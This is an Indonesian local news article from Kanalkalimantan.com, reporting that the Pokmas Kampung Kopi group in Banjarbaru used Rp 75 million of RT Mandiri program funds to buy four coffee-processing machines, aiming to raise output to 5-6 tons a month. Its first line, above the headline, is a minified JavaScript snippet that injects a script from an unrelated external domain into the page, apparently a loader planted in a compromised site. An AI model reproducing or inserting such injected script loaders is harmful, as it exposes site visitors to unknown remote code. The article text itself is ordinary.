(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Program RT Mandiri Pokmas Kampung Kopi, Beli 4 Alat Pengolah, Target Giling 5-6 Ton Biji Kopi


KANALKALIMANTAN.COM, BANJARBARU – Setelah diluncurkan beberapa waktu lalu, Program RT Mandiri yang diprakarsai Wali Kota dan Wakil (Aditya-Wartono), terus dilakukan pengawalan.

Di Kecamatan Banjarbaru Selatan dari 12 RT yang masuk dalam Program RT Mandiri, sudah ada 3 RT yang merealisasi program. Salah satunya dari Kelompok Masyarakat (Pokmas) Kampung Kopi di Jalan Sidodadi 2, Kelurahan Loktabat Selatan, Kota Banjarbaru.

Dari dana Rp 75 juta bantuan Program RT Mandiri, Pokmas Kampung Kopi membeli 4 mesin untuk membantu produksi dari pemisah kulit biji kopi hingga menjadi serbuk kopi.

Ketua Pokmas Kampung Kopi, Dwi Putra Kurniawan mengatakan, untuk mendukung Program RT Mandiri pihaknya membentuk Kampung Kopi yang semua di Pokmas Kampung Kopi diisi oleh pemuda sekitar untuk belajar, Rabu (23/11/2022).

 

 

Baca juga: Satpol PP Banjarbaru Gerebek Ruko Penyedia Miras di Guntung Manggis

“Nanti 2 – 4 tahun belajar di Kampung Kopi mereka para pemuda dapat membuka kedai kopi sendiri atau kalau punya lahan mereka bisa memiliki kebun kopi sendiri,” katanya.

Dirincikan Dwi, pihaknya membeli 4 alat untuk mendukung di Pokmas Kampung Kopi dari dana Rp 75 juta Program RT Mandiri.

“Alatnya ada 4, alat pertama ada mesin kopi untuk mengupas basah, mesin huller untuk mengupas kering, mesin roasting untuk menyangrai kopi dan mesin grinder untuk menghaluskan atau menjadikan bubuk kopi,” rincinya.

Dari 4 mesin ini, pihaknya dapat memproduksi langsung dari kebun hingga menjadi bubuk kopi siap jual.

Baca juga: Budidaya Bayam Merah Sistem Hidroponik Program Perpustakaan Berbasis Inklusi Sosial

“Sebelum adanya Kampung Kopi, kami sudah bisa memproduksi 1,5-2 ton perbulan untuk produksi kopi, dengan adanya Kampung Kopi dan kebun kopi di beberapa kabupaten target kita 5-6 ton perbulannya,” jelasnya.

Dalam produksi kopi di Kampung Kopi, Pokmas ini melibatkan warga sekitar dalam produksi kopi hingga siap dipasarkan.

Sementara itu, Wali Kota Banjarbaru, HM Aditya Mufti Ariffin mengatakan saat melakukan peninjauan terhadap piloting Program RT Mandiri, dirinya melihat langsung perkembangannya secara signifikan.

“Pokmas Kampung Kopi ini bisa ditiru RT Mandiri lainnya,” katanya.

RT Mandiri sendiri dikatakan Aditya bertujuan untuk menyejahterakan masyarakat di lingkungan RT.

Dirinya mengharapkan dengan adanya Pokmas Kampung Kopi di Banjarbaru bisa menjadi pintu gerbang dunia perkopian di Kalimantan Selatan.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

3 jam ago

Kota Banjarbaru Catat Investasi Triwulan I 2024 Senilai Rp204 Miliar

KANALKALIMANTAN.COM, BANJARBARU - Nilai investasi di Kota Banjarbaru terus mengalir dari tahun ke tahun. Setidaknya… Read More

5 jam ago

Bela Palestina, Mahasiswa-Civitas Akademika Universitas Muhammadiyah Banjarmasin Gelar Aksi

KANALKALIMANTAN.COM, BANJARMASIN - Forum Rektor Perguruan Tinggi Muhammadiyah dan Aisyiyah (FR PTMA) secara serentak menggelar… Read More

5 jam ago

Hadiri Halalbihalal Bersama Potensi Kesejahteraan Sosial, Bupati Banjar Dapat Kejutan

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur mendapat kejutan berupa ucapan selamat ulang tahun… Read More

6 jam ago

Puluhan Calon PPK di Banjarbaru Ikuti Tes Tertulis

KANALKALIMANTAN.COM, BANJARBARU - Puluhan orang calon Panitia Pemilihan Kecamatan (PPK) untuk Pilkada 2024 di Kota… Read More

6 jam ago

Diskominfo Banjarbaru Gelar Bimtek Sistem Informasi Publik

KANALKALIMANTAN.COM, BANJARBARU - Dinas Komunikasi dan Informatika (Diskominfo) Kota Banjarbaru menggelar bimbingan teknis Sistem Informasi… Read More

8 jam ago

This website uses cookies.